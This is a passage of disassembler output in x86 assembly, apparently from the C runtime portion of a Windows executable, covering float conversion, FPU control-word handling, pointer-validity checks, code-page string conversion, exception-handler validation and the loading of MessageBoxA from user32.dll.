mov esi, [esi+10h]
shl ebx, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or ebx, ecx
or ebx, [ebp+var_C]
cmp esi, 40h
jnz short loc_427E09
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], ebx
mov [ecx], edx
jmp short loc_427E13
; ---------------------------------------------------------------------------
loc_427E09: ; CODE XREF: sub_427CC0+13Aj
cmp esi, 20h
jnz short loc_427E13
mov ecx, [ebp+arg_4]
mov [ecx], ebx
loc_427E13: ; CODE XREF: sub_427CC0+147j
; sub_427CC0+14Cj
pop edi
pop esi
pop ebx
leave
retn
sub_427CC0 endp
; =============== S U B R O U T I N E =======================================
sub_427E18 proc near ; CODE XREF: sub_427E44+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_443CD8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_427CC0
add esp, 0Ch
retn
sub_427E18 endp
; =============== S U B R O U T I N E =======================================
sub_427E2E proc near ; CODE XREF: sub_427E81+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_443CF0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_427CC0
add esp, 0Ch
retn
sub_427E2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E44 proc near ; CODE XREF: sub_4248B0+12p
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call sub_428B61
push [ebp+arg_0]
lea eax, [ebp+var_10]
push eax
call sub_427E18
mov ecx, [ebp+var_4]
add esp, 24h
call sub_422B83
leave
retn
sub_427E44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E81 proc near ; CODE XREF: sub_4248B0+2Dp
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call sub_428B61
push [ebp+arg_0]
lea eax, [ebp+var_10]
push eax
call sub_427E2E
mov ecx, [ebp+var_4]
add esp, 24h
call sub_422B83
leave
retn
sub_427E81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427EBE proc near ; CODE XREF: sub_42490B+62p
; sub_4249FC+5Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
mov ecx, [edx+0Ch]
push ebx
mov ebx, [ebp+arg_4]
test ebx, ebx
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
mov eax, edi
jle short loc_427EFB
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_427EE1: ; CODE XREF: sub_427EBE+38j
mov dl, [ecx]
test dl, dl
jz short loc_427EED
movsx edx, dl
inc ecx
jmp short loc_427EF0
; ---------------------------------------------------------------------------
loc_427EED: ; CODE XREF: sub_427EBE+27j
push 30h
pop edx
loc_427EF0: ; CODE XREF: sub_427EBE+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_427EE1
mov edx, [ebp+arg_8]
loc_427EFB: ; CODE XREF: sub_427EBE+1Cj
test ebx, ebx
mov byte ptr [eax], 0
jl short loc_427F14
cmp byte ptr [ecx], 35h
jl short loc_427F14
jmp short loc_427F0C
; ---------------------------------------------------------------------------
loc_427F09: ; CODE XREF: sub_427EBE+52j
mov byte ptr [eax], 30h
loc_427F0C: ; CODE XREF: sub_427EBE+49j
dec eax
cmp byte ptr [eax], 39h
jz short loc_427F09
inc byte ptr [eax]
loc_427F14: ; CODE XREF: sub_427EBE+42j
; sub_427EBE+47j
cmp byte ptr [esi], 31h
jnz short loc_427F1E
inc dword ptr [edx+4]
jmp short loc_427F30
; ---------------------------------------------------------------------------
loc_427F1E: ; CODE XREF: sub_427EBE+59j
push edi
call sub_41E1C0
inc eax
push eax
push edi
push esi
call sub_41F980
add esp, 10h
loc_427F30: ; CODE XREF: sub_427EBE+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_427EBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427F35 proc near ; CODE XREF: sub_427FEF+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
push ebx
push esi
push edi
mov edi, 7FFh
mov esi, 80000000h
mov [ebp+var_4], esi
mov ecx, eax
shr ecx, 4
and eax, 8000h
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
and eax, 0FFFFFh
test ebx, ebx
jz short loc_427F85
cmp ebx, edi
jz short loc_427F7E
lea edi, [ecx+3C00h]
jmp short loc_427FA6
; ---------------------------------------------------------------------------
loc_427F7E: ; CODE XREF: sub_427F35+3Fj
mov edi, 7FFFh
jmp short loc_427FA6
; ---------------------------------------------------------------------------
loc_427F85: ; CODE XREF: sub_427F35+3Bj
xor ebx, ebx
cmp eax, ebx
jnz short loc_427F9D
cmp edx, ebx
jnz short loc_427F9D
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_427FEA
; ---------------------------------------------------------------------------
loc_427F9D: ; CODE XREF: sub_427F35+54j
; sub_427F35+58j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_427FA6: ; CODE XREF: sub_427F35+47j
; sub_427F35+4Ej
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
or ecx, [ebp+var_4]
mov eax, [ebp+arg_0]
shl edx, 0Bh
test ecx, esi
mov [eax+4], ecx
mov [eax], edx
jnz short loc_427FE1
loc_427FC2: ; CODE XREF: sub_427F35+AAj
mov ecx, [eax]
mov edx, [eax+4]
mov ebx, ecx
shl edx, 1
shr ebx, 1Fh
or edx, ebx
add ecx, ecx
add edi, 0FFFFh
test edx, esi
mov [eax+4], edx
mov [eax], ecx
jz short loc_427FC2
loc_427FE1: ; CODE XREF: sub_427F35+8Bj
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_427FEA: ; CODE XREF: sub_427F35+66j
pop edi
pop esi
pop ebx
leave
retn
sub_427F35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427FEF proc near ; CODE XREF: sub_42490B+3Ep
; sub_4249FC+42p ...
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
push esi
push edi
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_427F35
pop ecx
pop ecx
push offset word_4E2AE0
push 0
push 11h
sub esp, 0Ch
lea esi, [ebp+var_10]
mov edi, esp
movsd
movsd
movsw
call sub_428FE8
mov ecx, [ebp+var_4]
mov ds:dword_4E2B04, eax
movsx eax, ds:byte_4E2AE2
mov ds:dword_4E2AFC, eax
movsx eax, ds:word_4E2AE0
mov ds:dword_4E2B00, eax
add esp, 18h
mov ds:dword_4E2B08, offset dword_4E2AE4
mov eax, offset dword_4E2AFC
call sub_422B83
pop edi
pop esi
leave
retn
sub_427FEF endp
; ---------------------------------------------------------------------------
db 6Ah
dd 8C7EE802h, 0C359FFFFh
; =============== S U B R O U T I N E =======================================
sub_42806C proc near ; CODE XREF: sub_42818C+Cp
xor eax, eax
test bl, 1
jz short loc_428076
push 10h
pop eax
loc_428076: ; CODE XREF: sub_42806C+5j
test bl, 4
jz short loc_42807E
or eax, 8
loc_42807E: ; CODE XREF: sub_42806C+Dj
test bl, 8
jz short loc_428086
or eax, 4
loc_428086: ; CODE XREF: sub_42806C+15j
test bl, 10h
jz short loc_42808E
or eax, 2
loc_42808E: ; CODE XREF: sub_42806C+1Dj
test bl, 20h
jz short loc_428096
or eax, 1
loc_428096: ; CODE XREF: sub_42806C+25j
test bl, 2
jz short loc_4280A0
or eax, 80000h
loc_4280A0: ; CODE XREF: sub_42806C+2Dj
push ebp
movzx edx, bx
push esi
mov ecx, edx
mov esi, 0C00h
and ecx, esi
push edi
mov edi, 300h
mov ebp, 200h
jz short loc_4280DC
cmp ecx, 400h
jz short loc_4280D7
cmp ecx, 800h
jz short loc_4280D3
cmp ecx, esi
jnz short loc_4280DC
or eax, edi
jmp short loc_4280DC
; ---------------------------------------------------------------------------
loc_4280D3: ; CODE XREF: sub_42806C+5Dj
or eax, ebp
jmp short loc_4280DC
; ---------------------------------------------------------------------------
loc_4280D7: ; CODE XREF: sub_42806C+55j
or eax, 100h
loc_4280DC: ; CODE XREF: sub_42806C+4Dj
; sub_42806C+61j ...
and edx, edi
jz short loc_4280EB
cmp edx, ebp
jnz short loc_4280F0
or eax, 10000h
jmp short loc_4280F0
; ---------------------------------------------------------------------------
loc_4280EB: ; CODE XREF: sub_42806C+72j
or eax, 20000h
loc_4280F0: ; CODE XREF: sub_42806C+76j
; sub_42806C+7Dj
test bh, 10h
pop edi
pop esi
pop ebp
jz short locret_4280FD
or eax, 40000h
locret_4280FD: ; CODE XREF: sub_42806C+8Aj
retn
sub_42806C endp
; =============== S U B R O U T I N E =======================================
sub_4280FE proc near ; CODE XREF: sub_42818C+22p
xor eax, eax
test bl, 10h
jz short loc_428106
inc eax
loc_428106: ; CODE XREF: sub_4280FE+5j
test bl, 8
jz short loc_42810E
or eax, 4
loc_42810E: ; CODE XREF: sub_4280FE+Bj
test bl, 4
jz short loc_428116
or eax, 8
loc_428116: ; CODE XREF: sub_4280FE+13j
test bl, 2
jz short loc_42811E
or eax, 10h
loc_42811E: ; CODE XREF: sub_4280FE+1Bj
test bl, 1
jz short loc_428126
or eax, 20h
loc_428126: ; CODE XREF: sub_4280FE+23j
test ebx, 80000h
jz short loc_428131
or eax, 2
loc_428131: ; CODE XREF: sub_4280FE+2Ej
mov ecx, ebx
mov edx, 300h
and ecx, edx
push esi
mov esi, 200h
jz short loc_428165
cmp ecx, 100h
jz short loc_428160
cmp ecx, esi
jz short loc_428159
cmp ecx, edx
jnz short loc_428165
or eax, 0C00h
jmp short loc_428165
; ---------------------------------------------------------------------------
loc_428159: ; CODE XREF: sub_4280FE+4Ej
or eax, 800h
jmp short loc_428165
; ---------------------------------------------------------------------------
loc_428160: ; CODE XREF: sub_4280FE+4Aj
or eax, 400h
loc_428165: ; CODE XREF: sub_4280FE+42j
; sub_4280FE+52j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_42817B
cmp ecx, 10000h
jnz short loc_42817D
or eax, esi
jmp short loc_42817D
; ---------------------------------------------------------------------------
loc_42817B: ; CODE XREF: sub_4280FE+6Fj
or eax, edx
loc_42817D: ; CODE XREF: sub_4280FE+77j
; sub_4280FE+7Bj
test ebx, 40000h
pop esi
jz short locret_42818B
or eax, 1000h
locret_42818B: ; CODE XREF: sub_4280FE+86j
retn
sub_4280FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42818C proc near ; CODE XREF: sub_4281BE+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
fstcw word ptr [ebp+var_4]
mov ebx, [ebp+var_4]
call sub_42806C
mov ebx, eax
mov eax, [ebp+arg_4]
not eax
and ebx, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or ebx, eax
call sub_4280FE
mov [ebp+arg_4], eax
fldcw word ptr [ebp+arg_4]
mov eax, ebx
pop ebx
leave
retn
sub_42818C endp
; =============== S U B R O U T I N E =======================================
sub_4281BE proc near ; CODE XREF: sub_424BD4+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_42818C
pop ecx
pop ecx
retn
sub_4281BE endp
; =============== S U B R O U T I N E =======================================
sub_4281D4 proc near ; CODE XREF: sub_424F82+53p
; sub_424F82+8Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
xor esi, esi
push [esp+8+arg_0]
inc esi
call ds:dword_42B140 ; IsBadReadPtr
test eax, eax
jz short loc_4281EC
xor esi, esi
loc_4281EC: ; CODE XREF: sub_4281D4+14j
mov eax, esi
pop esi
retn
sub_4281D4 endp
; =============== S U B R O U T I N E =======================================
sub_4281F0 proc near ; CODE XREF: sub_424F82+65p
; sub_424F82+9Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
xor esi, esi
push [esp+8+arg_0]
inc esi
call ds:dword_42B1BC ; IsBadWritePtr
test eax, eax
jz short loc_428208
xor esi, esi
loc_428208: ; CODE XREF: sub_4281F0+14j
mov eax, esi
pop esi
retn
sub_4281F0 endp
; =============== S U B R O U T I N E =======================================
sub_42820C proc near ; CODE XREF: sub_424F82+128p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
xor esi, esi
inc esi
call ds:dword_42B13C ; IsBadCodePtr
test eax, eax
jz short loc_428220
xor esi, esi
loc_428220: ; CODE XREF: sub_42820C+10j
mov eax, esi
pop esi
retn
sub_42820C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4254B5
loc_428224: ; CODE XREF: sub_4254B5:loc_4254DDj
push 0Ah
call sub_426069
push 16h
call sub_4292AF
pop ecx
pop ecx
push 3
call sub_41F282
int 3 ; Trap to Debugger
; END OF FUNCTION CHUNK FOR sub_4254B5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42823C proc near ; CODE XREF: sub_425882+73p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4E2B98
push esi
push edi
jnb short loc_4282C0
mov ecx, eax
sar ecx, 5
mov esi, eax
and esi, 1Fh
lea edi, ds:4E2BA0h[ecx*4]
mov ecx, [edi]
shl esi, 3
test byte ptr [ecx+esi+4], 1
jz short loc_4282C0
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov ecx, [ebp+arg_8]
push eax
mov [ebp+var_4], ecx
call sub_42696C
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4282C7
push [ebp+arg_C]
lea ecx, [ebp+var_4]
push ecx
push [ebp+var_8]
push eax
call ds:dword_42B0B8 ; SetFilePointer
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4282AF
call ds:dword_42B01C ; RtlGetLastWin32Error
test eax, eax
jz short loc_4282AF
push eax
call sub_422C0F
pop ecx
jmp short loc_4282D1
; ---------------------------------------------------------------------------
loc_4282AF: ; CODE XREF: sub_42823C+5Ej
; sub_42823C+68j
mov eax, [edi]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FDh
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
jmp short loc_4282D7
; ---------------------------------------------------------------------------
loc_4282C0: ; CODE XREF: sub_42823C+10j
; sub_42823C+2Dj
and ds:dword_4E28F8, 0
loc_4282C7: ; CODE XREF: sub_42823C+45j
mov ds:dword_4E28F4, 9
loc_4282D1: ; CODE XREF: sub_42823C+71j
or eax, 0FFFFFFFFh
or edx, 0FFFFFFFFh
loc_4282D7: ; CODE XREF: sub_42823C+82j
pop edi
pop esi
leave
retn
sub_42823C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4282DB proc near ; CODE XREF: sub_425B55+27Dp
; sub_426DA0+15Ep ...
var_C = byte ptr -0Ch
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, ds:dword_4437D4
push 6
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push 1004h
push [ebp+arg_0]
mov [ebp+var_6], 0
call ds:dword_42B060 ; GetLocaleInfoA
test eax, eax
jnz short loc_42830A
or eax, 0FFFFFFFFh
jmp short loc_428314
; ---------------------------------------------------------------------------
loc_42830A: ; CODE XREF: sub_4282DB+28j
lea eax, [ebp+var_C]
push eax
call sub_41E755
pop ecx
loc_428314: ; CODE XREF: sub_4282DB+2Dj
mov ecx, [ebp+var_4]
call sub_422B83
leave
retn
sub_4282DB endp
; =============== S U B R O U T I N E =======================================
sub_42831E proc near ; CODE XREF: sub_425B55+2A8p
; sub_425B55+366p ...
push 38h
push offset dword_43A2A8
call sub_425F14
mov eax, ds:dword_4437D4
mov [ebp-1Ch], eax
xor edi, edi
mov [ebp-34h], edi
mov [ebp-44h], edi
mov eax, [ebp+14h]
mov ebx, [eax]
mov [ebp-40h], ebx
mov [ebp-3Ch], edi
mov eax, [ebp+8]
cmp eax, [ebp+0Ch]
jz loc_4284C4
lea ecx, [ebp-30h]
push ecx
push eax
mov esi, ds:dword_42B190
call esi ; GetCPInfo
test eax, eax
jz short loc_428382
cmp dword ptr [ebp-30h], 1
jnz short loc_428382
lea eax, [ebp-30h]
push eax
push dword ptr [ebp+0Ch]
call esi ; GetCPInfo
test eax, eax
jz short loc_428382
cmp dword ptr [ebp-30h], 1
jnz short loc_428382
mov dword ptr [ebp-3Ch], 1
loc_428382: ; CODE XREF: sub_42831E+42j
; sub_42831E+48j ...
cmp [ebp-3Ch], edi
jz short loc_4283A1
cmp ebx, 0FFFFFFFFh
jz short loc_428390
mov esi, ebx
jmp short loc_42839C
; ---------------------------------------------------------------------------
loc_428390: ; CODE XREF: sub_42831E+6Cj
push dword ptr [ebp+10h]
call sub_41E1C0
pop ecx
mov esi, eax
inc esi
loc_42839C: ; CODE XREF: sub_42831E+70j
mov [ebp-38h], esi
jmp short loc_4283A4
; ---------------------------------------------------------------------------
loc_4283A1: ; CODE XREF: sub_42831E+67j
mov esi, [ebp-38h]
loc_4283A4: ; CODE XREF: sub_42831E+81j
cmp [ebp-3Ch], edi
jnz short loc_4283C3
push edi
push edi
push ebx
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+8]
call ds:dword_42B07C ; MultiByteToWideChar
mov esi, eax
mov [ebp-38h], esi
cmp esi, edi
jz short loc_42841B
loc_4283C3: ; CODE XREF: sub_42831E+89j
mov [ebp-4], edi
lea eax, [esi+esi]
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-48h], ebx
lea eax, [esi+esi]
push eax
push edi
push ebx
call sub_41E5F0
add esp, 0Ch
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_428407
; ---------------------------------------------------------------------------
dd 0C340C033h, 0E8E8658Bh, 0FFFFD676h, 0DB33FF33h, 0FFFC4D83h
db 8Bh, 75h, 0C8h
; ---------------------------------------------------------------------------
loc_428407: ; CODE XREF: sub_42831E+D0j
cmp ebx, edi
jnz short loc_428429
push esi
push 2
call sub_4205E4
pop ecx
pop ecx
mov ebx, eax
cmp ebx, edi
jnz short loc_428422
loc_42841B: ; CODE XREF: sub_42831E+A3j
xor eax, eax
jmp loc_4284D6
; ---------------------------------------------------------------------------
loc_428422: ; CODE XREF: sub_42831E+FBj
mov dword ptr [ebp-44h], 1
loc_428429: ; CODE XREF: sub_42831E+EBj
push esi
push ebx
push dword ptr [ebp-40h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+8]
call ds:dword_42B07C ; MultiByteToWideChar
test eax, eax
jz loc_4284C7
cmp [ebp+18h], edi
jz short loc_428469
push edi
push edi
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push esi
push ebx
push edi
push dword ptr [ebp+0Ch]
call ds:dword_42B090 ; WideCharToMultiByte
test eax, eax
jz short loc_4284C7
mov eax, [ebp+18h]
mov [ebp-34h], eax
jmp short loc_4284C7
; ---------------------------------------------------------------------------
loc_428469: ; CODE XREF: sub_42831E+129j
cmp [ebp-3Ch], edi
jnz short loc_428484
push edi
push edi
push edi
push edi
push esi
push ebx
push edi
push dword ptr [ebp+0Ch]
call ds:dword_42B090 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz short loc_4284C7
loc_428484: ; CODE XREF: sub_42831E+14Ej
push esi
push 1
call sub_4205E4
pop ecx
pop ecx
mov [ebp-34h], eax
cmp eax, edi
jz short loc_4284C7
push edi
push edi
push esi
push eax
push esi
push ebx
push edi
push dword ptr [ebp+0Ch]
call ds:dword_42B090 ; WideCharToMultiByte
cmp eax, edi
jnz short loc_4284B7
push dword ptr [ebp-34h]
call sub_41E2A1
pop ecx
mov [ebp-34h], edi
jmp short loc_4284C7
; ---------------------------------------------------------------------------
loc_4284B7: ; CODE XREF: sub_42831E+189j
cmp dword ptr [ebp-40h], 0FFFFFFFFh
jz short loc_4284C7
mov ecx, [ebp+14h]
mov [ecx], eax
jmp short loc_4284C7
; ---------------------------------------------------------------------------
loc_4284C4: ; CODE XREF: sub_42831E+2Dj
mov ebx, [ebp-48h]
loc_4284C7: ; CODE XREF: sub_42831E+120j
; sub_42831E+141j ...
cmp [ebp-44h], edi
jz short loc_4284D3
push ebx
call sub_41E2A1
pop ecx
loc_4284D3: ; CODE XREF: sub_42831E+1ACj
mov eax, [ebp-34h]
loc_4284D6: ; CODE XREF: sub_42831E+FFj
lea esp, [ebp-54h]
mov ecx, [ebp-1Ch]
call sub_422B83
call sub_425F4F
retn
sub_42831E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4284E7 proc near ; CODE XREF: seg000:00425F9Cp
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, [esi+8]
test bl, 3
jnz short loc_428515
mov eax, large fs:18h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
cmp ebx, ecx
mov [ebp+var_4], ecx
jb short loc_42851C
cmp ebx, [eax+4]
jnb short loc_42851C
loc_428515: ; CODE XREF: sub_4284E7+11j
xor eax, eax
jmp loc_42870C
; ---------------------------------------------------------------------------
loc_42851C: ; CODE XREF: sub_4284E7+27j
; sub_4284E7+2Cj
push edi
mov edi, [esi+0Ch]
cmp edi, 0FFFFFFFFh
jnz short loc_42852D
loc_428525: ; CODE XREF: sub_4284E7+139j
; sub_4284E7+19Cj ...
xor eax, eax
inc eax
jmp loc_42870B
; ---------------------------------------------------------------------------
loc_42852D: ; CODE XREF: sub_4284E7+3Cj
xor edx, edx
mov [ebp+arg_0], edx
mov eax, ebx
loc_428534: ; CODE XREF: sub_4284E7+6Bj
mov ecx, [eax]
cmp ecx, 0FFFFFFFFh
jz short loc_428543
cmp ecx, edx
jnb loc_428688
loc_428543: ; CODE XREF: sub_4284E7+52j
cmp dword ptr [eax+4], 0
jz short loc_42854C
inc [ebp+arg_0]
loc_42854C: ; CODE XREF: sub_4284E7+60j
inc edx
add eax, 0Ch
cmp edx, edi
jbe short loc_428534
cmp [ebp+arg_0], 0
jz short loc_42856E
mov eax, [esi-8]
cmp eax, [ebp+var_4]
jb loc_428688
cmp eax, esi
jnb loc_428688
loc_42856E: ; CODE XREF: sub_4284E7+71j
mov eax, ds:dword_4E2B10
mov edi, ebx
and edi, 0FFFFF000h
xor esi, esi
test eax, eax
jle short loc_428593
loc_428581: ; CODE XREF: sub_4284E7+AAj
cmp ds:dword_4E2B18[esi*4], edi
jz loc_42868C
inc esi
cmp esi, eax
jl short loc_428581
loc_428593: ; CODE XREF: sub_4284E7+98j
push 1Ch
lea eax, [ebp+var_20]
push eax
push ebx
call ds:dword_42B178 ; VirtualQuery
test eax, eax
jz loc_428708
cmp [ebp+var_8], 1000000h
jnz loc_428708
test [ebp+var_C], 0CCh
jz short loc_428611
mov ecx, [ebp+var_1C]
cmp word ptr [ecx], 5A4Dh
jnz loc_428708
mov eax, [ecx+3Ch]
add eax, ecx
cmp dword ptr [eax], 4550h
jnz loc_428708
cmp word ptr [eax+18h], 10Bh
jnz loc_428708
sub ebx, ecx
cmp word ptr [eax+6], 0
movzx ecx, word ptr [eax+14h]
lea ecx, [ecx+eax+18h]
jbe loc_428708
mov eax, [ecx+0Ch]
cmp ebx, eax
jb short loc_428611
mov edx, [ecx+8]
add edx, eax
cmp ebx, edx
jnb short loc_428611
test byte ptr [ecx+27h], 80h
jnz short loc_428688
loc_428611: ; CODE XREF: sub_4284E7+D2j
; sub_4284E7+119j ...
push 1
push offset dword_4E2B58
call ds:dword_42B138 ; InterlockedExchange
test eax, eax
jnz loc_428525
mov ecx, ds:dword_4E2B10
test ecx, ecx
mov edx, ecx
jle short loc_428645
lea eax, ds:4E2B14h[ecx*4]
loc_428639: ; CODE XREF: sub_4284E7+15Cj
cmp [eax], edi
jz short loc_428645
dec edx
sub eax, 4
test edx, edx
jg short loc_428639
loc_428645: ; CODE XREF: sub_4284E7+149j
; sub_4284E7+154j
test edx, edx
jnz short loc_428676
push 0Fh
pop ebx
cmp ecx, ebx
jg short loc_428652
mov ebx, ecx
loc_428652: ; CODE XREF: sub_4284E7+167j
xor edx, edx
test ebx, ebx
jl short loc_42866A
loc_428658: ; CODE XREF: sub_4284E7+181j
lea eax, ds:4E2B18h[edx*4]
mov esi, [eax]
inc edx
cmp edx, ebx
mov [eax], edi
mov edi, esi
jle short loc_428658
loc_42866A: ; CODE XREF: sub_4284E7+16Fj
cmp ecx, 10h
jge short loc_428676
inc ecx
mov ds:dword_4E2B10, ecx
loc_428676: ; CODE XREF: sub_4284E7+160j
; sub_4284E7+186j
push 0
push offset dword_4E2B58
call ds:dword_42B138 ; InterlockedExchange
jmp loc_428525
; ---------------------------------------------------------------------------
loc_428688: ; CODE XREF: sub_4284E7+56j
; sub_4284E7+79j ...
xor eax, eax
jmp short loc_42870B
; ---------------------------------------------------------------------------
loc_42868C: ; CODE XREF: sub_4284E7+A1j
test esi, esi
jle loc_428525
mov ebx, ds:dword_42B138
push 1
push offset dword_4E2B58
call ebx ; InterlockedExchange
test eax, eax
jnz loc_428525
cmp ds:dword_4E2B18[esi*4], edi
jz short loc_4286E2
mov eax, ds:dword_4E2B10
lea esi, [eax-1]
test esi, esi
jl short loc_4286D0
loc_4286C0: ; CODE XREF: sub_4284E7+1E3j
cmp ds:dword_4E2B18[esi*4], edi
jz short loc_4286CC
dec esi
jns short loc_4286C0
loc_4286CC: ; CODE XREF: sub_4284E7+1E0j
test esi, esi
jge short loc_4286E0
loc_4286D0: ; CODE XREF: sub_4284E7+1D7j
cmp eax, 10h
jge short loc_4286DB
inc eax
mov ds:dword_4E2B10, eax
loc_4286DB: ; CODE XREF: sub_4284E7+1ECj
lea esi, [eax-1]
jmp short loc_4286E2
; ---------------------------------------------------------------------------
loc_4286E0: ; CODE XREF: sub_4284E7+1E7j
jz short loc_4286FA
loc_4286E2: ; CODE XREF: sub_4284E7+1CBj
; sub_4284E7+1F7j
xor ecx, ecx
test esi, esi
jl short loc_4286FA
loc_4286E8: ; CODE XREF: sub_4284E7+211j
lea eax, ds:4E2B18h[ecx*4]
mov edx, [eax]
inc ecx
cmp ecx, esi
mov [eax], edi
mov edi, edx
jle short loc_4286E8
loc_4286FA: ; CODE XREF: sub_4284E7:loc_4286E0j
; sub_4284E7+1FFj
push 0
push offset dword_4E2B58
call ebx ; InterlockedExchange
jmp loc_428525
; ---------------------------------------------------------------------------
loc_428708: ; CODE XREF: sub_4284E7+BBj
; sub_4284E7+C8j ...
or eax, 0FFFFFFFFh
loc_42870B: ; CODE XREF: sub_4284E7+41j
; sub_4284E7+1A3j
pop edi
loc_42870C: ; CODE XREF: sub_4284E7+30j
pop esi
pop ebx
leave
retn
sub_4284E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428710 proc near ; CODE XREF: sub_426069+129p
; sub_426FC0+138p
var_10 = byte ptr -10h
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_A = byte ptr 12h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
cmp ds:dword_4E2B5C, ebx
push esi
push edi
jnz short loc_428790
push offset aUser32_dll ; "user32.dll"
call ds:dword_42B018 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4287CB
mov esi, ds:dword_42B020
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov ds:dword_4E2B5C, eax
jz short loc_4287CB
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_4E2B60, eax
call esi ; GetProcAddress
cmp ds:dword_4E2900, 2
mov ds:dword_4E2B64, eax
jnz short loc_428790
push offset aGetuserobjecti ; "GetUserObjectInformationA"
push edi
call esi ; GetProcAddress
test eax, eax
mov ds:dword_4E2B6C, eax
jz short loc_428790
push offset aGetprocesswind ; "GetProcessWindowStation"
push edi
